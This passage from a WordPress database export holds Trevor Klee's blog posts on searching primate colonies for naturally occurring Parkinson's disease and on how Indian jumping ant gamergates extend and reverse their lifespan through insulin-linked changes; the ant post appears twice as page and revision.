Parkinson’s researchers doomed to rely upon these imperfect animal models forever?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Perhaps not. In 2020, researchers at the Kunming Primate Research Center in China reported finding a cynomolgus macaque with what they claimed was&nbsp;<a href=\"https://academic.oup.com/nsr/article/8/3/nwaa292/6030034\">naturally occurring Parkinson’s</a>. Cynomolgus macaques, small primates native to Southeast Asia, are already widely used in drug development research. If this study is accurate, it suggests there could be many more afflicted monkeys — and possibly other<em>&nbsp;</em>types of animals with Parkinson’s — out there. Maybe we just haven’t looked hard enough.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subscribe to Asimov Press! It’s one of the best ways to support our work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Monkey Tremors</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The researchers claim they found the sick monkey by doing random behavioral screenings and watching the animals for abnormal gaits or tremors. The Kunming Primate Research Center houses about 2,400 primates, from which the authors screened just 60 — half cynomolgus and half rhesus macaques. All the animals were healthy,<a href=\"https://trevorklee.substack.com/cp/156544150#footnote-3-155398093\">3</a>&nbsp;had not been used in previous experiments, and were between 7 and 30 years old (young adult to elderly in macaque terms). The study also states the monkeys were screened without any bias toward age or caretaker suspicion. Out of those 60 monkeys, the researchers determined that one appeared to have Parkinson’s — a young adult just 10 years old.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m skeptical that the study’s authors really performed the random, unbiased screening that the paper suggests. It seems more likely that a caretaker already suspected that a monkey had Parkinson’s, prompting the team to test more animals to bolster their research. Even if my hunch is correct, though, it wouldn’t influence the details regarding this monkey’s symptoms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After all, the monkey&nbsp;<em>appeared&nbsp;</em>to have Parkinson’s. In a video included in the study, the animal is visibly shaking, unsteady on its feet, and unable to grab the bars of its cage properly — classic symptoms in humans with advanced, untreated Parkinson’s disease. The monkey also responded to standard treatments: When given L-Dopa — a molecule that imperfectly compensates for the dopamine lost from dying neurons — its tremors subsided. The researchers also administered apomorphine, another Parkinson’s medication, and saw similar improvements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:video -->\n<figure class=\"wp-block-video\"></figure>\n<!-- /wp:video -->\n\n<!-- wp:video -->\n<figure class=\"wp-block-video\"></figure>\n<!-- /wp:video -->\n\n<!-- wp:paragraph -->\n<p>After euthanizing the monkey, the team studied its brain and noted a severe loss of dopaminergic neurons — about 70 percent fewer than healthy, control monkeys. These neurons normally make and respond to dopamine, which, among other things, is responsible for coordinating movement in the body. Researchers also found about fivefold more alpha-synuclein aggregates in the monkey’s brain, implicated in forming the Lewy bodies linked to dementia in later-stage Parkinson’s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And finally, the genetic analysis was strongly suggestive. The monkey carried four mutations in the LRRK2 gene, according to the study, which has been tied to Parkinson’s in humans and is known to cause&nbsp;<a href=\"https://pubmed.ncbi.nlm.nih.gov/25836420/\">Parkinson’s-like symptoms</a>&nbsp;in mice. The researchers also ran follow-up experiments in the laboratory; cell lines carrying the same mutations as those found in the monkey had similar RNA expression patterns as cells taken from Parkinson’s patients.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, it’s still unclear whether these specific mutations in LRRK2 actually caused the monkey’s disease. The researchers did not sequence other monkeys in the colony to see if similar mutations were present in monkeys without Parkinson’s, so we don’t know for sure whether environmental or other genetic factors were to blame.<a href=\"https://trevorklee.substack.com/cp/156544150#footnote-4-155398093\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, despite the nearly five years that have passed since this study was published, I’m not aware of any other reports showing Parkinson’s disease naturally occurring in a monkey or any other animal. Does this undermine the study’s findings?&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Not necessarily. LRRK2-based Parkinson’s mutations occur in roughly 0.1 percent of humans, but they are often only partially penetrant. One common mutation in the&nbsp;<em>LRRK2&nbsp;</em>gene — called the G2019S variant — has an estimated 25 percent penetrance in humans. In other words, not everyone who carries the mutation will develop Parkinson’s. If cynomolgus monkeys shared both this prevalence and penetrance, then, only about 1 in 1,000<a href=\"https://trevorklee.substack.com/cp/156544150#footnote-5-155398093\">5</a>&nbsp;would carry a LRRK2 mutation and an even smaller fraction would actually develop the disease from such a mutation.<a href=\"https://trevorklee.substack.com/cp/156544150#footnote-6-155398093\">6</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In humans, untreated Parkinson’s causes a gradual breakdown in movement and, often, cognitive impairment. It takes&nbsp;<a href=\"https://pmc.ncbi.nlm.nih.gov/articles/PMC7566883/\">about seven years from symptom onset</a>&nbsp;until Parkinson’s patients begin falling regularly while walking. But monkeys live one-fifth as long, so symptom onset to death might take only six months or a year, due to the rapid progression of neurodegeneration.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Few research facilities care for thousands and thousands of monkeys, so it’d be easy to miss Parkinson’s cases. Even in larger centers, staff would not necessarily spot an unexpected disease, especially if the animals had short lifespans or their symptoms mimicked more common illnesses.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Tulane Primate Research Center in Covington, Louisiana is one of the largest animal facilities in the United States. It houses about 6,000 monkeys. If LRRK2-related Parkinson’s occurs at a rate of 1 in 1,000 monkeys over a 20-year lifespan (a rough estimate), then the annual chance of any given monkey developing Parkinson’s is 1 in 20,000. In the Louisiana colony, we would therefore expect only 0.3 new cases per year, leading to a 26 percent probability of at least one new Parkinson’s case annually. Thus, any primate facility trying to replicate the Chinese team’s findings in a single year might well fail — one-in-four odds, while better than nothing, are certainly not guaranteed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And even if a monkey&nbsp;<em>did&nbsp;</em>have Parkinson’s, it could become so impaired that it dies before detection. Or, depending on how old these monkeys are, they may be in a “prodromal” (presymptomatic) rather than in a symptomatic stage. Many other conditions — especially viral infections or age — can also cause similar symptoms to those observed in Parkinson’s. Researchers might simply see an adult animal that struggles to eat, is shunned by its fellow monkeys, and then passes away from “natural causes” — life as usual in a vivarium.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But perhaps there is a more&nbsp;<em>efficient</em>&nbsp;way to identify animals with Parkinson’s, or other neurodegenerative diseases, before they perish.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Upping the Search</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Large vivariums like the one at Tulane already have the means to identify naturally occurring cases of the disease, simply by sequencing every animal for Parkinson’s-linked mutations — not only LRRK2, but also rarer mutations in SNCA or PRKN genes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of course, pinpointing which mutations are truly disease-associated in monkeys can be challenging. One option is simply to sequence every monkey, catalog all genetic variants, and then track which monkeys (if any) develop Parkinson’s-like symptoms. Researchers could then trace a monkey’s symptoms back to its genetic identity. And even if this plan were to fail entirely, and the monkeys didn’t develop Parkinson’s after all, creating such a genetic library would still be valuable for understanding how — or whether — monkey orthologs mirror their pathogenic counterparts in humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!Vuyk!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc29fbbf0-1a8d-4673-8e05-d2dd1276a90f_3400x3035.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!Vuyk!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc29fbbf0-1a8d-4673-8e05-d2dd1276a90f_3400x3035.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">The death rate from Parkinson’s per 100,000 people is highest in wealthy nations, and has been rising in the U.S. since the mid-1990s.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Animals suspected of having Parkinson’s could be immediately segregated out to form a new breeding colony. Those animals could also begin receiving treatments, such as L-Dopa, to test their effectiveness. Animals with advanced forms of Parkinson’s could be sacrificed and their clinical pathologies studied using microscopes and histology. Other animals could get follow-up behavioral screenings every 6 months or so.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This would not be prohibitively expensive and would be well worth the potential upsides of finding an animal model that leads to lucrative treatments. A single animal can be sequenced today for about $300 and behavioral screening performed (based on technician labor) for about $75. It costs about $50 to treat one animal for one month and about $500 to perform detailed pathology experiments on neural tissue.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The biggest outlay, by far, would be the initial cost of sequencing, which, for a 2,400-animal facility like the one in China, would run to almost $1 million. Fortunately, to establish a breeding colony, that sequencing would only need to occur once. Assuming that a facility located fewer than 10 primates with relevant mutations, the rest of the costs would be less than $10,000 per year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Tulane Primate Research facility recently received&nbsp;<a href=\"https://translationalneurodegeneration.biomedcentral.com/articles/10.1186/s40035-022-00285-2\">a $42-million, 5-year grant from the National Institutes of Health</a>, or about $8 million a year. An initiative like this would therefore be about ⅛ of its annual budget initially, and a negligible amount after that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If researchers independently confirmed Parkinson’s in other monkeys, the findings would also imply that&nbsp;<em>a variety of other animals&nbsp;</em>could develop the disease, too. Since LRRK2 mutations analogous to those found in humans can be induced in mice to produce Parkinson’s-like symptoms, it’s reasonable to assume that a small percentage of other species could inherit these variants.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The benefits of a natural, fully-developed model of Parkinson’s would be incalculable. Right now, we don’t know why Parkinson’s develops, how to identify it in its prodromal phases, or, crucially, how to prevent it. At our current rate of progress, we’re unlikely to make these research breakthroughs any time soon. As it stands, people only get diagnosed with Parkinson’s once it becomes symptomatic, at which point there’s already been a fair amount of neurological damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Similarly, our treatments for Parkinson’s have not progressed that far beyond the original discovery of L-Dopa to reduce tremors.<a href=\"https://trevorklee.substack.com/cp/156544150#footnote-7-155398093\">7</a>&nbsp;There are attempts to develop disease-modifying treatments, like using stem cells to regrow neurons, but any therapies affecting the brain are necessarily complex and dangerous. The infirm, elderly patients who make up the majority of Parkinson’s cases would most likely resist entering such complicated or dangerous trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If, however, we could reliably isolate lab animals with a high probability of getting diagnosed with Parkinson’s before they’re born, we’d be able to investigate the development of the disease in many different ways, such as blood-based biomarkers, pathology, or brain scans. We’d also be able to explore what factors are protective against Parkinson’s (i.e. why some animals with certain mutations develop it and others don’t), carry out preventative studies, and perform the sort of intensive interventional studies that are unethical to do with elderly humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Assuming we do successfully identify animals with Parkinson’s, we will have necessarily found the best animal models for the study of the disease. And even if it turns out that only primates, like the cynomolgus monkeys, can develop Parkinson’s, we’ll still have a model in which the disease develops much more quickly and one that can be kept in a lab. These monkeys could prove just as important for Parkinson’s research as guinea pigs were for tuberculosis, presenting the missing piece that could potentially lead to a cure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We just have to be more resolute in our search.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:separator -->\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"/>\n<!-- /wp:separator -->\n\n<!-- wp:paragraph -->\n<p><strong>Trevor Klee&nbsp;</strong>is a blogger and president of Highway Pharmaceuticals, a company making drugs for animals and humans. He’s looking for people who are interested in pursuing this search for naturally occurring Parkinson’s in animals. If you’re interested, please contact him at trevor[at]highwaypharm.com.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Cite:&nbsp;</strong>Trevor Klee. “A Search for Sick Animals.”&nbsp;<em>Asimov Press&nbsp;</em>(2025). DOI:&nbsp;<a href=\"https://doi.org/10.62211/47ur-65jg\">https://doi.org/10.62211/47ur-65jg</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Lead image by&nbsp;<a href=\"https://ellawatkinsdulaneyphd.com/\">Ella Watkins-Dulaney</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/cp/156544150#footnote-anchor-1-155398093\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Only a&nbsp;<a href=\"https://medium.com/@karenrubin/most-animals-dont-menstruate-ccbc6ae5cb9e\">handful of species menstruate</a>, for example, which complicates studies of reproductive disorders. Down syndrome requires precisely 46 chromosomes, which only humans have.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/cp/156544150#footnote-anchor-2-155398093\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are other induced chemical models, too, including 6-OHDA and rotenone. All of them have the same issue of not causing a disease that is chronic or progressive, however.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/cp/156544150#footnote-anchor-3-155398093\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s unclear how monkeys can be both healthy and suffering from Parkinson’s, but I’m guessing they mean they were&nbsp;<em>otherwise</em>&nbsp;healthy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/cp/156544150#footnote-anchor-4-155398093\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Humans who smoke cigarettes appear to have a&nbsp;<a href=\"https://pubmed.ncbi.nlm.nih.gov/27751556/\">reduced risk</a>&nbsp;of Parkinson’s, for example, whereas those exposed to pesticides seem to have an increased risk. In short, as a person’s environment appears to play a role in triggering the disease, a similar influence might be presumed in monkeys.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/cp/156544150#footnote-anchor-5-155398093\">5</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s hard to say a more precise number than “1 in 1,000” without getting into the weeds on genetics, as mutation rates vary widely across organisms and different parts of the genome.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/cp/156544150#footnote-anchor-6-155398093\">6</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Overall, the lifetime risk of Parkinson’s in humans is often estimated to be&nbsp;<a href=\"https://pubmed.ncbi.nlm.nih.gov/27751556/\">around 1–2 percent</a>, and about 90 percent of cases have no known genetic cause.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/cp/156544150#footnote-anchor-7-155398093\">7</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Levodopa works for a time, but motor fluctuations and dyskinesia do reappear. One large, prospective study, called&nbsp;<a href=\"https://pubmed.ncbi.nlm.nih.gov/31656768/\">STRIDE-PD</a>, found that more than 50% of Parkinson’s patients “develop motor complications, fluctuations and/or dyskinesia, after 4 years of treatment with levodopa at an average dosage of 400 mg daily.\"</p>\n<!-- /wp:paragraph -->','A search for sick animals','','inherit','closed','closed','','516-revision-v1','','','2025-07-03 19:37:42','2025-07-03 19:37:42','',516,'https://trevorklee.com/?p=517',0,'revision','',0),
(518,1,'2025-07-03 19:38:34','2025-07-03 19:38:34','<!-- wp:paragraph -->\n<p>It’s been a trying week for anyone who cares about the state of science in the US. Trump 2.0’s approach to US institutions seems somewhere in between “burn it all down” and “turn everything off and see who complains”. I hate this approach. I am the first one to champion the need for reform at federal institutions, including scientific institutions, but not like this. If your house’s foundations are shaky, you need to shore them up, but knocking down the house is not a good solution. There are people living there!<br><br>Anyways, I don’t want to turn this whole post into a rant, because I don’t think I can add much to the discussion besides my angst. I’m going to keep on working on my cat drugs and try to get a new dog drug off the ground. Hopefully, this stuff will figure itself out by the time we look for approval.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the meantime, I wanted to go back to a topic I’ve&nbsp;<a href=\"https://press.asimov.com/articles/science-car-mechanics\">addressed</a>&nbsp;<a href=\"https://www.theseedsofscience.pub/p/why-dont-hummingbirds-get-diabetes\">quite</a>&nbsp;<a href=\"https://trevorklee.substack.com/p/is-lactate-as-important-as-glucose\">a</a>&nbsp;<a href=\"https://trevorklee.com/anthropocentrism-insulin-and-obese-long-lived-cavefish/\">few</a>&nbsp;<a href=\"https://trevorklee.substack.com/p/glp-1-and-gip-agonism-and-antagonism\">times</a>&nbsp;in a few different ways: insulin. As you might recall, I have a lot of questions about insulin, obesity, and longevity and the commonly assumed relationship between them. Cavefish are my favorite example of how mistaken our traditional story about insulin and obesity is. When fish that live in streams get trapped in caves, they can rapidly (likely within a couple generations) become obese, insulin resistant, eyeless, sedentary, and exceptionally long lived,&nbsp;<a href=\"https://trevorklee.substack.com/p/is-longevity-a-choice-how-about-obesity\">as I’ve written about before</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, I have a new cool example of how weird the connection between insulin and longevity can get, and this time, it also ties in another crucial life activity: reproduction. It comes from ants, specifically Indian jumping ants, or&nbsp;<em>Harpegnathos saltator</em>. These jumping ants are unlike most ants in that they live in small colonies consisting of males, the queen, and female, non-mating workers. When a queen dies or is removed from the colony, the females “duel” by hitting their antenna against each other, sometimes for months, until several females emerge victorious and replace the queen as the egg bearer. These pseudoqueens are called gamergates&nbsp;<a href=\"https://trevorklee.substack.com/p/some-ants-can-choose-to-live-5x-as#footnote-1-156956439\">1</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!5-2b!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc7913256-ede1-4f5b-b921-7aff655732c5_1920x1440.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!5-2b!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc7913256-ede1-4f5b-b921-7aff655732c5_1920x1440.jpeg\" alt=\"undefined\" title=\"undefined\"/></a><figcaption class=\"wp-element-caption\">An Indian jumping ant carrying a flower. It is unlikely that it is a gift to his love, but I choose to believe.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>In all ant colonies, queens live longer than workers. Likewise, in jumping ant colonies, both queens and pseudoqueens, or gamergates, live longer than workers, about 5x longer (200 days vs. 1000 days). But, in most ant colonies, queens are physically different than workers, often being larger and winged. I can make some sense out of them living much longer than workers, given that they are physically different. But gamergates start off as workers. It’s just that the hormonal changes wrought by the duels results in their drastically increased lifespan&nbsp;<a href=\"https://trevorklee.substack.com/p/some-ants-can-choose-to-live-5x-as#footnote-2-156956439\">2</a>.<br><br>But the weirdness with gamergate life extension doesn’t stop there. Not only do gamergates have a drastically increased life expectancy when they become the pseudoqueen of a colony, but that increase in life expectancy can reverse when gamergates are themselves removed from a colony and placed in a new jumping ant colony with an active queen. Gamergates then go back to being normal female, non-mating workers with the life expectancy of an average worker&nbsp;<a href=\"https://trevorklee.substack.com/p/some-ants-can-choose-to-live-5x-as#footnote-3-156956439\">3</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is intriguing for a couple different reasons. First of all and most obviously, this is not how we normally think of lifespan working. It’s weird enough for individuals within a species to have such dramatically different lifespans, but to be able to choose how long your lifespan is is very weird&nbsp;<a href=\"https://trevorklee.substack.com/p/some-ants-can-choose-to-live-5x-as#footnote-4-156956439\">4</a>. It’s also very weird for lifespan to be so elastic, in that a single ant can go from a 200 day lifespan, to a 1000 day lifespan, back to a 200 day lifespan with no obvious repercussions, except perhaps a slightly decreased lifespan from stress upon the reversion. But it’s also intriguing because it brings in reproduction into our discussion of lifespan, which, in turn, will bring back insulin again (don’t think I’ve forgotten).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Beyond the paywall, a bit more musing about insulin and reproduction, as well as wrapping up the discussion of the paper.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Reproduction is intimately linked to lifespan. Many animals, such as female octopuses or all salmon, die after they reproduce. Castration and sterilization are linked to a longer lifespan in many species, including&nbsp;<a href=\"https://news.uga.edu/uga-research-finds-sterilized-dogs-live-longer/\">dogs</a>&nbsp;and, possibly,&nbsp;<a href=\"https://www.newscientist.com/article/dn22302-can-castration-really-prolong-a-mans-life/\">humans</a>. Many reasons have been proposed for this, such as reduced tendency for risk-taking in males, reduced risk from childbirth in females, or reduced risk of cancer in reproductive organs for both males and females.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But this gamergate paper suggests a deeper connection, leading through insulin. Insulin production in gamergates’ brains seems to be a big part of what triggers their switch to an increased lifespan and their increase and interest in reproduction<a href=\"https://trevorklee.substack.com/p/some-ants-can-choose-to-live-5x-as#footnote-5-156956439\">5</a>. Physiologically, this makes sense, as egg laying is energy and lipid-intensive, so gamergates need to use their insulin systems to start gathering more fat and energy in general.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only issue is that gamergates would then seem to be the exception to the rule. Instead of reproduction shortening their lifespan, it lengthens it, or at least is part of the same process that lengthens it. There’s some suggestion in&nbsp;<a href=\"https://www.science.org/doi/full/10.1126/science.abm8767\">this paper</a>&nbsp;that the life lengthening has to do with blocking the effects of insulin in the “fat bodies” (liver equivalents) of ants, although the evidence and cause and effect is still somewhat murky. Likewise, the effects of injecting insulin into gamergates is also murky: it appeared to trigger egg growth in them, but&nbsp;<em>decreased</em>&nbsp;their propensity to duel.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, instead of trying to untangle what exactly insulin has to do with lifespan and reproduction in ants or humans, I’ll just leave this as another weird example of how lifespan and insulin interact.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/some-ants-can-choose-to-live-5x-as#footnote-anchor-1-156956439\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Presumably at least once in the world, an entomologist and a sociologist have met who both study gamergates and have very confused ideas of what the other one does.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/some-ants-can-choose-to-live-5x-as#footnote-anchor-2-156956439\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My source for most of the info in this blog is&nbsp;<a href=\"https://www.science.org/doi/full/10.1126/science.abm8767\">this paper</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/some-ants-can-choose-to-live-5x-as#footnote-anchor-3-156956439\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That is, they then have about 200 days to live from the time of their reversion, regardless of how long they’ve lived as a pseudoqueen.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/some-ants-can-choose-to-live-5x-as#footnote-anchor-4-156956439\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Choose” might seem to be a weird word here, but that does seem to be a component of winning the duel. Any ant that doesn’t want to become a pseudoqueen and have an extended lifespan can choose to lose or leave the duel. Of course, the reverse doesn’t hold true, given that winning the duel isn’t simply a matter of choice.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/some-ants-can-choose-to-live-5x-as#footnote-anchor-5-156956439\">5</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Non-mating females naturally produce a few eggs. Gamergates produce more eggs, and they also actively participate in “nuptial flights”, where they go out and seek to be fertilized by male ants from other colonies.</p>\n<!-- /wp:paragraph -->','Some ants can choose to live 5x as long','','publish','closed','closed','','some-ants-can-choose-to-live-5x-as-long','','','2025-07-03 19:38:34','2025-07-03 19:38:34','',0,'https://trevorklee.com/?page_id=518',0,'page','',0),
(519,1,'2025-07-03 19:38:34','2025-07-03 19:38:34','<!-- wp:paragraph -->\n<p>It’s been a trying week for anyone who cares about the state of science in the US. Trump 2.0’s approach to US institutions seems somewhere in between “burn it all down” and “turn everything off and see who complains”. I hate this approach. I am the first one to champion the need for reform at federal institutions, including scientific institutions, but not like this. If your house’s foundations are shaky, you need to shore them up, but knocking down the house is not a good solution. There are people living there!<br><br>Anyways, I don’t want to turn this whole post into a rant, because I don’t think I can add much to the discussion besides my angst. I’m going to keep on working on my cat drugs and try to get a new dog drug off the ground. Hopefully, this stuff will figure itself out by the time we look for approval.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the meantime, I wanted to go back to a topic I’ve&nbsp;<a href=\"https://press.asimov.com/articles/science-car-mechanics\">addressed</a>&nbsp;<a href=\"https://www.theseedsofscience.pub/p/why-dont-hummingbirds-get-diabetes\">quite</a>&nbsp;<a href=\"https://trevorklee.substack.com/p/is-lactate-as-important-as-glucose\">a</a>&nbsp;<a href=\"https://trevorklee.com/anthropocentrism-insulin-and-obese-long-lived-cavefish/\">few</a>&nbsp;<a href=\"https://trevorklee.substack.com/p/glp-1-and-gip-agonism-and-antagonism\">times</a>&nbsp;in a few different ways: insulin. As you might recall, I have a lot of questions about insulin, obesity, and longevity and the commonly assumed relationship between them. Cavefish are my favorite example of how mistaken our traditional story about insulin and obesity is. When fish that live in streams get trapped in caves, they can rapidly (likely within a couple generations) become obese, insulin resistant, eyeless, sedentary, and exceptionally long lived,&nbsp;<a href=\"https://trevorklee.substack.com/p/is-longevity-a-choice-how-about-obesity\">as I’ve written about before</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, I have a new cool example of how weird the connection between insulin and longevity can get, and this time, it also ties in another crucial life activity: reproduction. It comes from ants, specifically Indian jumping ants, or&nbsp;<em>Harpegnathos saltator</em>. These jumping ants are unlike most ants in that they live in small colonies consisting of males, the queen, and female, non-mating workers. When a queen dies or is removed from the colony, the females “duel” by hitting their antenna against each other, sometimes for months, until several females emerge victorious and replace the queen as the egg bearer. These pseudoqueens are called gamergates&nbsp;<a href=\"https://trevorklee.substack.com/p/some-ants-can-choose-to-live-5x-as#footnote-1-156956439\">1</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!5-2b!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc7913256-ede1-4f5b-b921-7aff655732c5_1920x1440.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!5-2b!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc7913256-ede1-4f5b-b921-7aff655732c5_1920x1440.jpeg\" alt=\"undefined\" title=\"undefined\"/></a><figcaption class=\"wp-element-caption\">An Indian jumping ant carrying a flower. It is unlikely that it is a gift to his love, but I choose to believe.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>In all ant colonies, queens live longer than workers. Likewise, in jumping ant colonies, both queens and pseudoqueens, or gamergates, live longer than workers, about 5x longer (200 days vs. 1000 days). But, in most ant colonies, queens are physically different than workers, often being larger and winged. I can make some sense out of them living much longer than workers, given that they are physically different. But gamergates start off as workers. It’s just that the hormonal changes wrought by the duels results in their drastically increased lifespan&nbsp;<a href=\"https://trevorklee.substack.com/p/some-ants-can-choose-to-live-5x-as#footnote-2-156956439\">2</a>.<br><br>But the weirdness with gamergate life extension doesn’t stop there. Not only do gamergates have a drastically increased life expectancy when they become the pseudoqueen of a colony, but that increase in life expectancy can reverse when gamergates are themselves removed from a colony and placed in a new jumping ant colony with an active queen. Gamergates then go back to being normal female, non-mating workers with the life expectancy of an average worker&nbsp;<a href=\"https://trevorklee.substack.com/p/some-ants-can-choose-to-live-5x-as#footnote-3-156956439\">3</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is intriguing for a couple different reasons. First of all and most obviously, this is not how we normally think of lifespan working. It’s weird enough for individuals within a species to have such dramatically different lifespans, but to be able to choose how long your lifespan 